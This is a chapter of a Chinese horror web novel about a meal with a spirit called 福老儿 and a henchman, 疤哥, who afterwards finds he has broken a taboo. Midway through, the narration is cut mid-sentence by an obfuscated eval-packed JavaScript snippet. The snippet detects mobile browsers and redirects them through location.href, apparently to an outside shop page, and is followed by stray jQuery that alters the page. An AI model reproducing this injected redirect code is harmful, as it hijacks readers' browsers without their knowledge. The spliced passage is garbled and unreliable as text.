米多高的福老儿硬塞在座椅里,它僵硬地挪动手臂,用筷子戳着空气,做出副吃饭模样。
贾旭见方休正常吃喝,也顶着膈应拿起银筷。他根本没胃口,但他知道最好多吃一点——过了这个村就没这店,回笼子说不定要吃人肉。
话说……这些邪祟真的怀抱恶意吗?
贾旭嚼着点心,有些恍惚。
自从来到这里,他们并未被邪祟直接攻击,过分的事反而都是人类做的。那个大婶自己瞎逃先不说,老棉和麦子死于犯忌,好像也不关邪祟什么事。
也许这些邪祟只是守在“厄”旁边,安安生生过日子。他们直接冲进来一顿表演,纯属自作多情。
想到这里,贾旭忍不住看向方休。结果方休吃得起劲,一副无动于衷的模样。
筷子碰撞声中,福老儿身体又开始前倾。它以一种让人很不舒服的方式挪动,脸轻柔地探向方休,如同观察青蛙的蛇。
“老夫知道各位为何而来。”
突然,它幽幽开口,“你们若是想要此地的‘厄’,尽管拿走。”
方休停住筷子。
“老夫原是来享享阴气,谁料那‘厄’霸道至极,将我等困于此处。”
福老儿身体又倾了倾,脖子向下弯折,脸离方休的脑袋不过一拳。
“荒山恶水,实在无趣。与其束缚在此,还不如让你们把‘厄’除了,老夫再找个便是。”
“知道了,我帮您带个话。”方休头也不抬地说。
福老儿眼缝口缝齐齐张开,一张脸被笑意扭出深深的褶皱:“很好,很好……待那祠堂修好,诸位一日三餐,来去自由。”
一顿饭后,福老儿竟直接把他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546153|142489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
放了,没再提别的要求。
这一趟虽然没试出禁忌,也算大有收获。疤哥没再强迫两人留下,他杵在门口沉思,眉头皱得死紧。
而方休吃得太饱,出门时一个没站稳,径直撞上了门口的疤哥。
“对不起,对不起。”方休连忙道歉。
疤哥瞪了他一眼,狠狠一拽勾魂锁链,差点把方休扯到地上。
离开福老儿的院子后,疤哥才再次出声。
他的第一句话很简短,也很不祥——
“……好痒!”
疤哥身体抽搐起来,眼中全是难以置信。他一只手堪堪抓着链子,另一只手疯狂抓挠皮肤,“好痒,好痒,他妈的,为什么……”
他犯了忌。
什么时候?怎么犯的?犯了什么?
瘙痒迅速加剧,全身上下仿佛毒虫撕咬。疤哥半跪在泥地中,气喘如牛。
必须尽快找到犯忌的原因……他必须弥补……
一双脚停在他的面前。
“嗨。”
方休在疤哥面前蹲下,他一只手撑住面颊,轻轻松松打着招呼。
“谢谢你,禁忌试探得很成功。”